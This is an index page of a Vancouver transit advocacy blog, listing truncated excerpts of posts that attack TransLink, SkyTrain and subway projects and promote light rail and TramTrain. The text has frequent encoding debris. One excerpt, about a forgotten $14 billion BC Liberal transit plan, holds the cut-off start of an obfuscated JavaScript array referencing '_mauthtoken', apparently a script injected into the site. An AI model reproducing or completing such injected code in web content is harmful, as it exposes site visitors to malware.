    Interesting tidbit from the news which has been overshadowed by the tragedy in Brussels. Traffic congestion is down in Metro Vancouver and this begs the question: "If there is less traffic on the roads, then should we not waste money to plan and build ...

  • Has Trudeau "Caved-In" To Bombardier?

    Bombardier Inc. is in trouble with their aircraft program; are near bankruptcy and need cash. So what is the Federal government going to do? Simple buy Bombardier's light-metro and call it light rail.Ai?? The same ruse certainly fooled the Social Credi...

  • Modular Trams Just Keep On Growing!

    BKV, the transit operator in Budapest Hungary has just taken delivery of the 9th of a 12 unit order from SpanishAi??LRV producer CAF (Construcciones y Auxiliar de Ferrocarriles) for the world record setting 56 metre long, 9 section, Ai??Urbos 3 (Type ...

  • Bombardier "Stuffed It Up" in London. Is Transit Planning "Stuffed Up" In Metro Vancouver?

    Not all is well with Bombardier Inc. The massive transit conglomerate has had too easy for too long and now is accused ofAi?? "'duping' the British capital into awarding it a train-signalling contract that it was incapable of delivering, creating ai??...

  • Toronto Signalling Study Of Great Import For Rail for The Valley

    With thanks to Mr.Cow! Signalling, the fine art of keeping trains from crashing into each other, is very important for the Fraser Valley TramTrain project and developments in Ontario are very relevant here. Toronto, is now planning to have GO Train's ...

  • Massey Tunnel Mystery - Solved!

    Ah, the truth comes out. It's not congestion or traffic gridlock that is driving the $3.5 billion Massey Tunnel replacement, it is Port Metro Vancouver and Fraser Surrey Docks, as they want a massive subsidized bridge to replace the Massey tunnel so P...

  • City of Vancouver Buys the Arbutus Corridor

    Well kiss any thought of affordable transit goodbye, as the City of Vancouver will never agree to have trams operating on the former interurban line, the Arbutus Corridor. They may talk the talk, but will never walk the walk. The Canada Line is extreme...

  • Toronto council lacking critical transit information ahead of key decisions

    Sound familiar? Vancouver Councillors utterly clueless about subways and transit in general. Surrey Councillors completely naive about light rail. TransLink blunders along, without a clue what they are doing. Bureaucrats kowtowing to politi...

  • SkyTrain for Surrey Implodes

    Being an advocate for better transit in the region is no easy task, made all the harder by those who pretend they know better. Zwei has spent thirty years in the transit wars, starting with the aborted Vancouver monorail scheme in 1986. Since then I...

  • Medical Emergancy - TransLink Speak For Another Death

    On Monday last, another suicide another death on SkyTrain, yet the media and TransLink hides the fact, with the utility phrase; "medical emergancy". The hypocrisy of the mainstream media makes me upchuck, as if they treated suicides on SkyTrain, li...

  • TramTrain Gains Favour In The UK

    TramTrain development in the UK is gaining momentum as the Yorkshire Post reports that a study indicates a tram-train link between MANCHESTER and its airport in north-central England would be a better choice than passenger rail because of grades along ...

  • More Port Mann Woes

    When replacing a perfectly good bridge, with a mega billion dollar "vanity" bridge, common sense seems to have been thrown out with the bath water. We could have twinned the Port Mann Bridge and have enough money to build the proposed Leewood/RftV Rich...

  • Try Asking TransLink To Do The Same!

    Imagine TransLink changing their schedule to suit a customer, imagine TransLink doing anything to help a customer? Russian Railways adjusts timetable so girl didnai??i??t miss dancing class Published time: 21 Feb, 2016 Get short URL Ai?? Alexand...

  • A good read

      There is an interesting article making its rounds, "5 lessons from Los Angles on transforming transportation (and coming after Portland)",Ai?? in the various transit blogs and I believe it is well worth a read. Zwei is going to comment briefly ...

  • 80% Support For Light Rail In Surrey

    Good news everyone! 80% of the people polled support light rail in Surrey, BC. The bad news is that TransLink is still involved with the planning process. As for the jobs created, especially maintenance jobs, god knows how they come by those figure...

  • TransLink names Kevin Desmond new CEO

    Is this just changing the chairs on the Titanic, or will Mr. Desmond actually achieve? I am not holding my breathe, as a far better former CEO, Tom Prendergast soon understood the root cause of TransLink's ills and was promptly sent to Coventry by s...

  • Another Suicide

    In Europe, EEC Health and Safety rules mandate that all driverless or automatic passenger transit systems must have platform gates to prevent suicides or accidental falls onto tracks. Not so in Canada, as "Death by SkyTrain" continues unabated.  ...

  • The White Elephant Line

    A white elephant is a possession which its owner cannot dispose of and whose cost, particularly that of maintenance, is out of proportion to its usefulness. To recap, the Canada Line is not a true P-3, rather a mock P-3, where SNC Lavalin/Bombar...

  • Lund Sweden - New TramWay to Cost $23.3 Million/km to Build

    Contrary to TransLink's habitual gold-plating of its LRT projects, modern light rail can be built reasonably cheaply, when compared to other modes of transit. The cost of the 5.5 km. starter tram line in Lund Sweden, with seven trams is estimated to be...

  • Professor Patrick Condon: Dear PM: Don't Waste Billions on Bad Transit Projects

    I see the good professor is taking the same track a Zwei, with my earlier letter to the PM. Expensive vanity projects like the Broadway subway drive up transit costs, yet provide negligible transit improvements. The only benefit a Broadway subway will ...

  • Good News Everyone - Valley Rail One Legal Step Closer

    The following is from our friend Mr. Haveacow, from Ottawa, who is a transportation engineer. Zwei has always stressed that for modern LRTAi?? and TramTrain to operate in BC, the legalities of both must be dealt with. For trams and LRT, the rules of t...

  • Parting Shots From Former TransLink CEO Doug Allen

    Really? Sorry Doug, your diatribe has fallen on deaf ears. If TransLink really cared about the customer, like other transit agencies do, TransLink would not be held in such high odor by the taxpayer. TransLink has had over a decade to improve service, ...

  • Broadways Subway - A Boondoggle In The Making

    Subways are very expensive items and only built when there is no other alternative available. SkyTrain ICTS/ALRT/ART, was supposed to mitigate the high cost of subway construction, but it didn't as it proved to almost as expensive as a heavy-rail metro...

  • Broadway Subway Reality Check - Toronto's 8.6 km Spadina Line Subway Now $3.2 Billion!

    For those of you who have been pooh-poohing, Zwei's cost estimate for the Broadway subway, the following news item from Toronto should send a not too subtle message that subways are very expensive to build and are only built when there is the massive t...

  • Out of the Pan and Into the Fire Dept.

    It seems TriMet, in Portland are playing the part of rubes by hiring former TransLink president and general manager of its subsidiary British Columbia Rapid Transit Company Ltd.,Doug Kelsey. I believe TriMet will soon have buyers remorse because under ...

  • Shake Your Head In Disbelief Deptment

    A snow broom in Sapporo Japan clears snow from the line. Yet in Richmond a mere dusting of snow and a trace of freezing rain brought the Canada Line to a halt. Really? Now, freezing rain and ice storms can stop trams from running, when ice shrouded el...

  • Oops! Canada Line Problems

    Compass Card problems and now the Canada Line goes ka-put, not a good start to 2016. Ai?? Monday morning issues on TransLinkai??i??s Canada Line Vancouver, BC, Canada / News Talk 980 CKNW | Vancouver's News. Vancouver's Talk Gord MacDonald TransLink ...

  • Chemnitz tram-train set for early 2016 launch

    Another TramTrain operation opening in Germany, where customer friendly transit is the order of the day. We also have a shovel ready TramTrain plan for Metro Vancouver, the Leewood/Rail for the Valley TramTrain, reinstating the Vancouver to Chilliwack ...

  • A Bad Day For SkyTrain

    Oops, a bad day for TransLink and the mini-metro system. Confusion reigns, as TransLink can't even manage a coherent news story. Canada Line resumes after ai???fire incidentai??? causes delays Vancouver, BC, Canada / News Talk 980 CKNW | V...

  • The Other SkyTrain Saga

    Question: What happens when developers have to pay for expensive subway construction? Answer: They want to build with much cheaper light rail instead. Reality: Subways are great, if someone else pays for them. Lesson: Lost on Vision(less) Vancouver, th...

  • Playing Trains At TransLink

    The TransLink saga carries on. The Mayors did run TransLink once, but they ran afoul of former Premier Gordon Campbell and his desire to build the worlds only P-3 heavy rail metro which would have less capacity than a streetcar. The province, with for...

  • TramTrain's In The UK - Good News For Rail for the Valley

    This news item from the UK, is good news for those who advocate for TramTrain operation in Canada. Why? The Sheffield TramTrains have gone through a rigorous safety program of testing overseen by the UK's Office of Rail and Road formerly her Majesty's...

  • Begging For Cash

    As the old adage says; "When beggars knock at the door, rush out the back door and check the chickens"; Premier Clark is off to Ottawa begging for some cash for her two ill-found vanity transit projects, the $3 billion Broadway subway and the $2.3 bil...

  • Meanwhile, South of the Boarder............

    Seattle is building a subway system, using light rail vehicles. LRT it is not as 70% of the current hybrid rail system is grade separated, either on viaduct or in a subway, with the only at-grade portion traveling through a poorer (black) neighbourhood...

  • Global News Spotlights SkyTrain's Ills

    To say I am gobsmacked is an understatement, Global News actually had a rather negative story about SkyTrain, which convinces me some pointed questions about the proprietary railway are circling in Victoria. Everything about SkyTrain, from it being fo...

  • How Do You Spell Rotten - T-R-A-N-L-I-N-K

    Local independent reporter has been tearing into TransLink and the TransLink story seems to go from bad to worse. Where is the Vancouver Sun? The Province? Her Majesty's Loyal Opposition? With Transit, there are so may rotten apples in the barrel, it ...

  • In Toronto Developers Want Light Rail and Not A Subway!

    Something new. In Toronto, developers want light rail and not an expensive subway to replace their life expired SkyTrain Line, the Scarborough R/T. What should be of interest is that the ridership on the proposed LRT/subway route, is more than the pro...

  • The Real Evergreen Line Story

    The Evergreen Line, with only seven stations will do very little for local residents, who will find the car the only practical means of transportation. The Evergreen Line is the unfinished portion of the old Broadway-Lougheed rapid transit project, bu...

  • Vancouver Blunders Ahead With Its Vanity Project.

    Well, Vision(less) Vancouver is blundering ahead with its much cherished $3 billion subway under Broadway and our feckless politicians South of the Fraser remaining willfully blind to this billions of dollars boondoggle. One would think they would be ...

  • In The International News

    Some interesting news items from abroad.   An interesting Australia Government paper on long term trends in public transport. Some interesting comments have been made by an Australian observer: It can be clearly seen that the Sydney tramways wer...

  • Bombardier Inc. Gets Quebec Financing

    Bombardier Inc. has had some recent finance problems with their aerospace division and is using its rail division as collateral so to speak. They better make money nowAi??because if they don't perform the CDPQ will own 42.5 % after 5 years. What does ...

  • Portland's Streetcar, Connecting The Entire Community

    This speaks for itself. I must remind the unconvinced that going from 4,000 users a day to 15,000 users a day (in TransLink's convoluted lexicon, this equates to over 30,000 boarding's a day), which is a big deal in the U.S.A. So here is a thought, in...

  • Ottawa Update - The Trams Are Coming, The Trams Are Comming...........

    From our friend Haveacow in Ottawa, an update on the Ottawa light rail. There is no doubt here in Ottawa that,Ai??the Rideau Transit GroupAi??will need all of the next 2 years 10 months toAi??complete the daunting list of major capital projects that w...

  • Calgary Transit launches 4-car C-Train service; capacity to increase by 33%

    Calgary Transit launches 4-car C-Train service; capacity to increase by 33% http://globalnews.ca/news/2337414/calgary-transit-launches-4-car-ctrain-service-capacity-to-increase-by-33/ Today, Calgary's C-Train is carrying over 333,000 passengers a day a...

  • Port Mann Fumble

    The Port Mann Bridge is a prime example where a government replaces a perfectly good bridge with a multi billion dollar vanity project. Other examples were the Expo Line, the Millennium Line, the Canada Line, the Fast Ferries, and most recently the BC ...

  • LRT & BRT For London - Ontario That Is

    London Ontario is proposing to build a Hybrid LRT and BRT System, similar to Waterloo Region's Rapid Transit Program. The system would have both an LRT line in the Northern andAi??Eastern portion of the city and a form ofAi??BRT serving the South and ...

  • Light Rail Gets an Ally - We Welcome New Infrastructure Minister Amarjeet Sohi

    For the first time since I have been advocating for better transit, now over thirty years, we now have a minister of the crown who not only understands modern light rail, he is an advocate of modern LRT! Let us hope new infrastructure minister Amarjee...

  • Tax and Spend Grifters Try An End Run With Road Pricing

    Zwei is not against road pricing or congestion charges per se, but before road pricing or some form of congestion charge is implemented in the region, we would need to have a quality public transportation system in place and that we do not, not even c...

  • Pixie Dust Reporting - The New SkyTrain Cars Arrive.

    One has to give it to the SkyTrain Lobby, they repeat inaccuracies so often they become truth. The new SkyTrain cars being delivered are not articulated (the LIMs are not powerful enough enough for this), rather all Bombardier did was make a few cars ...

  • Do I Hear Trams On The Arbutus Line.........

    Want to see Vancouver politicians tearing their hair from their heads? Just mention building LRT on the Arbutus Line. I say not a penny for the Broadway Subway until trams run along the Arbutus Line.   Stockholm completes LidingAi?? Line reconst...

  • Problems with Bombardier

    Oops, Bombardier Inc. is having problems and this does not bode well for TransLink as Bombardier Inc is the sole supplier of mini-metro cars for the Expo, Millennium and Evergreen lines. That what's happen when buy a proprietary railway, they "gotcha"....

  • Folly

      Take the poll - http://www.translink.ca/tnc TransLink is desperate to gain the transit customer's affection and is doing a mock comment process to pretend they are listening, the transit customers friend. Ha, ha, ha, the joke is on the transit ...

  • Common Sense Transportation In The Fraser Valley

    Common sense. Maybe the University of the Fraser Valley could offer a course in Urban Transit and Transportation, or be even more daring and have a Department of Urban Transport, offering degrees in Urban Transportation, just like Europe! Guest lect...

  • For WhomThe Road Toll, Tolls

    Yup, road tolls will spell political suicide for any politician who wants to take up the crusade for road pricing. But Price and Harcourt are , in part, the architects of the TransLink fiasco, simply because they pretend to be transit experts, but in ...

  • Monkey See - Monkey Do

    The Surrey LRT (in dark green) will just inconvenience the bus customer with an unwanted transfer and one can lose upwards of 70% of potential ridership per transfer. Well, the Liberals re-announced an already pledged monies to fund one third of the Br...

  • Faster Transit May Cause Congestion

    An interesting item from the BBC, especially when everyone points to speed as paramount for good transit. What the following does illustrate, is the ongoing scientific exploration of public transit overseas, completely missing in North America, where i...

  • Forward Thinking - Absent In BC

    Now here is a politician who looks three minutes into the future, wanting existing rail lines preserved for future use. We lost the rails in the Kelowna/Vernon corridor; we are about to lose the E&N; and the city of Vancouver is making damn sure th...

  • Since When KPMG Become Transit Consultants?

    The following news headline from the CBC Cabinet ministers met publicly with KPMG while firm's tax 'sham' under CRA probe may pose some questions, but UBC prof. Patrick Condon would like to remind us all that........   This is the firm UBC and Ci...

  • All In The Family

    Wow, this sort of thing should be illegal, but it seems with TransLink, nepotism is standard operating practice. The further reporter Bob Mackin investigates TransLink, the more interesting and questionable items surface. Is it a surprise that the majo...

  • Much Ado About Nothing - Reforming TransLink

    The regional mayors just do not get it. There is something missing, something very important. Where is public participation? Nowhere to be seen. The defeat of the TransLink plebiscite was, in part, due to the public holding TransLink in high odor and w...

  • SNC-Lavalin replaces CEO amid more allegations

    SNC is so intertwined with SkyTrain and the Canada Line that everyone should give this a good read. Let us remember that judge Pittfield, who presided over the original Susan Heyes lawsuit against TransLink, called the bidding process for the Canada L...

  • The Boarders Railway Reopens After 47 Years! Leewood/RftV Interurban Is a Bargain!

    The Beaching era in the UK saw the dismantling and the run down of Britain's extensive railway network. Though some railway lines deserved to be abandoned, many did not. The Beaching philosophy was that railways were obsolete, with the exceptions of t...

  • Bad Planning in Edmonton

    The people designing Edmonton's LRT extension must take first prize for "botching it", when drivers will have to wait 16 minutes for a tram to cross a series of intersections. Does anyone do any research at all? I know that public transit should super...

  • The Great Storm of 2015

    One of the big concerns of driverless transit systems is that there is no driver or attendant who can foresee danger on the track. Well TransLink found out in the "Great Storm of 2015" that driverless transit system are at peril with mother nature. Tr...

  • On Building The Wrong Type of Transit

    An interesting item from Toronto; maybe some TransLink types should read this, or even regional, provincial and federal politicians as well. Investing massive sums of money on dubious subway "vanity projects" pretending that that any investment in publ...

  • Chemnitz receives electro-diesel tram-train

    Chemnitz, Germany, population, 242,000 is getting new electro-deisel tramtrains for their successful regional tramtrain system. This mans that the TramTrain network can expand along non electrified lines. Chemnitz receives electro-diesel tram-train ...

  • Pork Barrel Alert!

    Well the TransLink pork barrel continues unabated and the real message this conveys is that the premier only regards TransLink as a dumping ground for Liberal lickspittles. The two appointees have absolutely "0" knowledge about public transit and like ...

  • The Fiscal Realities of Subways Surface

    Taxpayers in Ontario are slowly awakening up to the fiscal realities of modern subway construction, just as their European counterparts did in the 1970's and 80's. Little known on this side of the pond, is that subway construction in Europe has almost...

  • Is Compass Card Really the first Step to Privatization?

    Long predicted, TransLink's buses will all be "one-zone" fares, leaving those who ride the SeaBus and SkyTrain, pay premium fares. Zwei sees this as the road to privatization, where money losing, politically designed and heavily subsidized bus routes ...

  • Portland Streetcar spurs $4.5 billion in new real estate development

    Funny that the city of Vancouver preaches that only a SkyTrain subway will spur investment along Broadway, while at the same time, treats light rail as an economic leper. Well streetcars in Portland, Oregon prove otherwise. Rail News: Passenger Rail ...

  • Light Metro Woes in Hawaii

    All is not well with Honolulu's new light metro system. A classic "I told you so" situation has occurred as the fiscal realities of light metro are hitting home very hard. I hope taxpayers have very deep pockets. With proprietary light metro systems, p...

  • Nelson streetcar museum opens Monday

    Streetcar news from Nelson BC.   Nelson streetcar museum opens Monday Contributed - Nelson Star posted Jul 28, 2015 The Nelson Electric Tramway Society is ready to officially open their latest project, the Car Barn Museum. On Monday they ar...

  • Some People Get It

    Light Rail is a streetcar that operated on a reserved rights-of-way. The resounding NO vote has changed the tune, somewhat, of the Vancouver Sun's reporting of regional transit issues. How long this will last is anyone's guess. Zwei voted no becau...

  • Vancouver Metro Region Votes NO.

    2015 Metro Vancouver Transportation and Transit Plebiscite Voting Results FOR IMMEDIATE RELEASE July 2, 2015 VICTORIA ai??i?? The voting results for the 2015 Metro Vancouver Transportation and Transit Plebiscite were submitted today to the Speaker of...

  • Committee approves Ottawa light rail transitai??i??s $3-billion second phase design

    I think $3 billion is a tad too expensive, but I am sure Mr. Haveacow will explain the reasons why. I still maintain that we must plan and build LRT much cheaper than we are currently doing. On another issue, the claim that: " noise and vibrations ai?...

  • A Rail Reniassance in L.A.

    An interesting read from California. I wish the Provincial Government would read this quote; ai???Realistically speaking, thereai??i??s no new highway building in the future.ai???, when planning for their bridge and highway vanity projects in Metro Van...

  • First look at Nottinghamai??i??s new tram line

    Zwei lived in Nottingham in the mid 70's and is where I first gained interest in urban transit. While waiting for my then girl friend, who was attending night school, I chanced a free public lecture by a Professor of Transportation (forgot his name) a...

  • Seattle's Light Metro Too Expensive?

    Seattle's light rail system is really a light-metro system, with over 70% of its route grade separated either on viaduct or in a tunnel (subway), yet ridership is dismal. This not because the system uses light rail vehicles, but because Seattle's polit...

  • A portent of things to come?

    Brisbane Australia has a showcase BRT system, yet transit costs are extremely high. Maybe it is time to get back to basics about modern light rail and forget the capacity and density debates and build LRT for the economic reason, one tram and one tram...

  • Are traffic flows along Broadway enough to justify a subway?

    Are traffic flows along Broadway enough to justify a subway? Simple answer is no, not anywhere close! Traffic flows along Broadway are around 4,000 persons per hour per direction in the peak, but because it riders are mostly cheap fare U-Pass holders a...

  • Has the TransLink brand past its "best by" date?

    The mainstream media seldom give somewhat negative stories about TransLink and this item from Radio News 1130 may be the "shape of things to come". For too long TransLink has treated its passengers as cattle, acting like the "lord of the manor", superi...

  • Memo to TransLink: When Aging Gadgetbahnen..........................

    One of the perils of expensive proprietary transit systems, is that they do not age well. The SkyTrain ALRT/ART mini metro Expo Line is now 30 years old and it is beginning to show its age, it stops; it goes kaput from time to time. With no drivers or ...

  • Subway Realities

    Old Zwei has been warning about the costs associated with subways and now New York's MTA says it needs $32 billion over the next five years to repair decaying subway infrastructure! We also have a familiar name, Tom Prendergast, warning that the subway...

  • Bat Bus - The Shape of Things to Come?

    A peak 5 minutes into the future. The same technology can be applied to trams. From the BBC International Service. Xoupir: Charles Bombardierai??i??s ai???magic busai??i?? David K Gibson Charles Bombardier designs things. Fantastical things, like a r...

  • LRT is physically easier to expand and add routes.

    The monorail lobby is like the the SkyTrain lobby and their motto seems to be;Ai?? don't confuse me with facts." There are many similarities between monorail and SkyTrain ALRT/ART and in fact our SkyTrain is sometimes mistakenly called a monorail overs...

  • Subway Realities From Toronto

    Interesting article from Toronto, which spells out some fiscal subway realities to TransLink and the City of Vancouver. Please note Zwei's two comments in the article and should give one pause to think that in Vancouver, the cost of subway construction...

  • Hamilton Gets LRT

    From our friend in Ottawa, Mr. Haveacow. Well its official, at a press conference at McMaster University, Hamilton will get a roughly 11km 14 stop LRT line from McMaster University in west .Hamilton to the Queenston Traffic Circle in east Hamilton. Th...

  • The Worldai??i??s First Solar Road Is Producing More Energy Than Expected

    This is an interesting experiment. More and more, solar power is becoming a realistic option, especially with transit. This is just an experiment, but the potential of using roads to produce power is vast and in twenty years hence; just imagine...........

  • Solar Powered Trams For Melbourne?

    Something to think about, solar powered trams! Renewable energy group bids to turn Melbourne's trams solar May 18, 2015 Tom Arup Environment editor, The Age Melbourne's entire tram network could be powered by solarAi??if the state government gaveAi??...

  • Tram problems in Toronto

    Next time, forget Bombardier and buy from Siemens or Alstom! TTCai??i??s new streetcars plagued with manufacturing problems CEO Andy Byford wants customers to know initial cars were slow to hit the street because they were badly built. Marcus...

  • TransLink dumps planning veterans Tamim Raad and Brian Mills - Adios Surrey's LRT?

    It seems anyone who even breathes light rail in Metro Vancouver is quietly terminated from TransLink. UBC educated Tamin Raad, was a supporter of light rail and understood the issues surrounding light metro. TransLink CEO Tom Prenderghast was for...

  • Metro Madness

    In one of the silliest items written in Canada about public transit, The Globe and Mail's (Mop & Pail) Jeffery Simpson has inked a article about how the taxpayer in the lower mainland should vote YES to build subways because Asia ...

  • More TramTrains For Karlsruhe

    Karlsruhe, Germany, the birthplace of the TramTrain concept, goes from success to success. For twenty-two years, TramTrain have been operating in the Karlsruhe region with no major accidents, track sharing with both the city tram systems and mainline r...

  • Brampton, Mississauga to get new 23-km light-rail line

    Another new LRT for Canada! Using both reserved rights-of-ways and mixed traffic, the Hurontario LRT is a classic 21st century light rail operation. Brampton, Mississauga to get new 23-km light-rail line At 26 stops, 23-kilometre line will run fr...

  • How to build light rail in our cities without emptying the public purse

    An interesting read and quite pertinent to our transit situation in the lower mainland. Both the BRT and SkyTrain Lobby's have so perverted the concept of modern light rail, to support their own projects, that the concept of affordable LRT has all but ...

  • Adios SkyTrain? Bombardier is selling off its rail division.

    What would happen if the region continues to plan for SkyTrain, yet there is no SkyTrain? If a potential buyer for Bombardier's rail division already has on the market it's own proprietary railway or railways, they would probably discontinue SkyTrain w...

  • Light Rail questioned by Langley Township planner - Yesterday's planning at work!

    The same old cliched arguments about modern light rail have surfaced in Langley Township. What old Zwei finds so tiresome is that the some planners remains so uninformed about SkyTrain light-metro and modern light rail, think both are "rapid transit". ...

  • TramTrain for Hungary

    From the International Railway Journal. As TransLink and the regional mayors still champion hugely expensive vanity projects for the region, TramTrain makes very good economic sense. A basic, bare-bones hourly service, using diesel light rail vehicles,...

  • Less expensive options?

    Sounds familiar? One could ask the same for our regional transit planning. HS2: Government has no 'convincing case' for A?50bn rail line By Chris Johnston Business reporter The government has no convincing case for spending A?50bn building the HS2 r...

  • The Compass Card - Another Gordon Campbell Fiasco!

    The Compass Card fiasco is not really a TransLink problem, rather it is the epitome of why TransLink has problems; TransLink is a tool of the Premier's Office and it must do the Premier's bidding or face serious repercussions. Premier Gordon Campbell's...

  • Replacing the Fraser River Rail Bridge

    Interesting item from the Netherlands. Dutch Engineers have been at the forefront at lift bridge technology for over a century, due to the many canals that traverse the country. The "tilting lock" would be especially beneficial to railways as there wou...

  • The $14 billion transit plan the B.C. Liberals conveniently forgot about

    How soon we forget, the BC Liberals had a $14 billion transit plan for Metro Vancouver and what ever happened to that? The following from Vancouver Buzz explains events from seven years go. var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","...

  • Terence Corcoran: Hey, Vancouver: Just say ai???Noai??i?? to transit tax

    Though I am trying to avoid unhappiness with the upcoming transit plebiscite, this item from the Financial Post is well worth a read. What I find interesting, is the following comment; "Even London, a world leader in public transit and congestion charg...

  • A New Look For Toronto's SRT Cars.

    Toronto's lonely ICTS (SkyTrain) Line is due to be dismantled within ten years because it is life expired, but with the ongoing seesaw debate to replace the ICTS Line with LRT or a subway rages on. To keep the line operable the existing cars need to be...

  • Prototype battery-powered ai???IPEMUai??i?? carries passengers for first time

    Battery powered trains are evolving at a fast pace. For the Chilliwack interurbanAi?? purposes, this sort of train could operate quite well on sections of non electrified track, including the 12.5 section of shared track with the Roberts Bank Railway ...

  • It is these debt-servicing costs that are contributing greatly to the need for the additional taxes

    A little food for thought. From Liz James and the North Shore News. From the North Shore News JAMES: Get facts before marking your ballot Elizabeth James , contributing writer / North Shore News March 4, 2015 - See more at: Emotion will t...

  • TriMet public approval rebounding

    I wonder how TransLink would fare? I guess we will see after the transit plebiscite. PORTLAND TriMet which runs the area's bus and light rail system is seeing is public approval on the rise despite service issues and financial woes, The Oregonian rep...

  • The Myth That Everyone Naturally Prefers Trains to Buses

    Actually it is not a myth, transit customers do prefer rail to buses. The study does leave out the fact that rail's operating costs can be much less than buses because the tram can operate in multiple units, thus with one driver carrying more passenger...

  • Aussie Companies Ante Up For Trams

    Love to see this happen in Vancouver! I wonder if the Board of Trade would be supporting TransLink's initiative if their members had to come up with $300 or $400 million for transit improvements or if their members had to pay for the extra cost of subw...

  • Crystal ball department.

    This could be the headline for the metro Vancouver Region is a few years hence.   February 16, 2015 York Region pulls back on infrastructure projects in effort to rein in debt Torstar News Service VIVA Rapid Transit, launched in 2005 to car...

  • And you think TransLink has problems.........

    Vancouver is not the only city having financial problems with transit. Toronto is mired in political vanity subway projects and the TTC is steaming full speed ahead into a financial iceberg as well.   The Scarborough Subway and Smart Track are ab...

  • Trams that never stop at traffic lights

    Trams that never stop at traffic lights could be part of Melbourne's people-moving future By Loretta Florance ABC News Trams that never have to stop for traffic lights could be the norm in Melbourne in the future, under plans being developed to deal w...

  • You have sat too long .................

    TransLink CEO Ian Jervis has been made to "walk the plank" in an attempt to appease the No side of the upcoming plebiscite. A quote from Oliver Cromwell comes to mind, when he dismissed the rump parliament. You have sat too long for any good you have b...

  • Le Mans A tram for a small city

    While both BC Transit and TransLink gold-plate LRT planning with millions of dollars of extras, making tram projects almost as expensive as SkyTrain, the new Le Mans LRT/tramway demonstrates that light rail is affordable for smaller cities. The new 15...

  • Bombardier Transportation accused of corruption in South Korea

    A single car train on the Yongin Everline Line The following is from CBC Radio Canada. Even though the date of this news item is Jan. 28, no news outlet in Vancouver has mentioned it. It also answers the question why TransLink has ignored the Yongin Li...

  • Adios, the Shopping Mall?

    The shape of things to come? Transportation planners in Metro Vancouver should take note that when planning very expensive fixed transit infrastructure to shopping malls, if the mall closes in 15 years, the transit system will have very expensive infr...

  • TramTrain for the E&N?

    The Talk of TramTrain from other than Zwei is good news, especially from Vancouver Island. A Diesel powered TramTrain service, both for Victoria and Naniamo is doable and would be affordable. A 18 km. Diesel TramTrain line from Langford to Victoria, pl...

  • Whatever happened to the future? From the BBC

    An interesting item from the BBC. Whatever happened to the future? By Matthew Wall Business reporter, BBC News Whatever happened to interplanetary travel, hover cars, and hypersonic jets? Once it seemed as if there were no limits to how far or fast we...

  • I Told You so Department.

    Old Zwei told you so that the Compass Card was old kit as are the fare gates! The Compass Card and the fare gates deserve a criminal investigation but that will never happen, not in BC, where the police and courts shy away from political interference. ...

  • What is a plan "B"? TransLink Will Spend $4 Million To Find Out

    One has to laugh at the imperious TransLink and the gullible mayors trying to sell this dud to the public and the old adage seems to be true: "Those who do not read history, are doomed to repeat the same mistakes". Trust us says TransLink. Trust us say...

  • TransLink's Ridership - An Independant Calculation

    Eric Chris has done some calculations ascertaining TransLink's ridership numbers, independent of what the many pundits and instant experts that are pontificating on the YES side of the TransLink congestion plebiscite. A well known pundit stated on the ...

  • Liz James Gets It Right!

    Liz James, who pens op-ed pieces in the North Shore news has a very good grasp of our local transit ills. Liz's Jan. 7th article is well worth a read as she has a full grasp of the transit situation, which is more than I can say about the Vancouver Sun...

  • April First Comes Early In Vancouver

    [caption id="attachment_12738" align="aligncenter" width="600" caption="TransLink's New Rapid Transit for Surrey"][/caption] I just do not know whether to laugh or cry at this one. Business in Vancouver (who's co-founder is one Peter Ladner, noted ...

  • Transit Problems Across The Pond

    The metro Vancouver region is not alone with financial problems with public transit. Buses are very expensive to operate and U.K. planners and politicians have been very reluctant to fund modern trams which have proven to mitigate the high cost of publ...

  • A Light (Rail) In The Piazza

    A very welcomed editorial in the Delta Optimist. Slowly, ever slowly, people are beginning to realize that modern LRT is just not a transit mode, but a transit philosophy! Here lies the difference between LRT and SkyTrain; as SkyTrain or light metro is...

  • Beijing's Subway Needs Fare Hikes

    An interesting item from China, Beijing's metro system, despite being one of the world's busiest, is having funding problems and fares are escalating. Beijing metro price hike 'squeezing poor' 7 January 2015 Despite it being one of the biggest and...

  • Seattle's "big Dig", Is Digging The City Into a Finacial Morass

    As predicted by so many, Seattle's "Big Dig" to build an auto tunnel to replacing the decrepit stacked Alaskan Way Viaduct, has hit a pipe and stopped. It seems the entire highway tunnel under Elliot Bay, is sinking into a sinkhole created by politica...

  • The Broadway Subway, No Value For Money

    Despite a growing number of supporters, such as the business community, the City of Vancouver; most of the regional mayors, the provincial NDP and their combined sundry of shills clamouringAi?? for a SkyTrain Broadway subway, many serious questions rem...

  • Canada Line Train Catches Fire

    The fire was on the Canada Line, which isn't SkyTrain. For those who are not in the know, the SkyTrain system cars are powered by Linear Induction Motors or LIM's and the Canada Line cars are powered by "squirrel cage" electric motors. Much of Can...

  • The GVRD's 1978 LRT/Rail/Road Bridge - A Bridge Too Practical

    In 1978, the GVRD were poised to install a three leg light rail system on the region and to cross the Fraser river a new bridge would have to be built. Demonstrating the forward thinking of the era, GVRD planners conceived a multi-use bridge for 'rapid...

  • TransLink Incompetence Continues - Again Another Fail

    Incompetence, thy name is TransLink. Suffice to say, if this happened in Europe and passengers were trapped in a bus for two hours because of a downed trolley line, management would have been fired the next day. All (except for Vancouver maybe) transit...

  • Referendum Angst

    It will all about the TransLink Referendum in the coming months and regional mayors who haven't a clue about modern public transit will try to force another tax upon the beleaguered taxpayer to fund questionable transit projects, that will do little to...

  • The Usual Suspects Shill for a Yes Vote for the Upcoming TransLink Referendum

    Yikes, the Vancouver Sun is at it again, blindly shilling for a yes vote in the not yet announced TransLink referendum. This only makes me guess that internal polling shows that a yes vote is far from certain. All the usual suspects, the B.C. Federati...

  • A Conflict of Interest - The Broadway Subway

    TransLink, unfortunately digs very deep holes for itself and Mr. Chris exposes what they want the public to believe as fact, is in fact pure invention. http://www.translink.ca/~/media/Documents/plans_and_projects/rapid_transit_projects/UBC/alternative...

  • Subway Stations Flood

    Some that TransLink and its allies, the Broadway subway lobby fail to mention is that subways and subway stations, by their very nature become massive sumps, if there is a flood, either by storm or by water-main breaks. Subway station flooding is not u...

  • Civic Elections Done, Now It's Time For the TransLink Referendom

    This spring's TransLink referendum has a good chance of going off the rails, simply because the bureaucratic behemoth is sailing into very dangerous uncharted waters. Translation, the taxpayer wants to get even. Why do I say that? TransLink has had "0...

  • TransLink Report On SkyTrain Out

    From what I can see, the problems that plagued SkyTrain last summer, were ones of very bad management and deferred maintenance. TransLink's bad management is legendary and the outfit continues its oppression of transit customers with gestapo like ticke...

  • Ottawa Developements

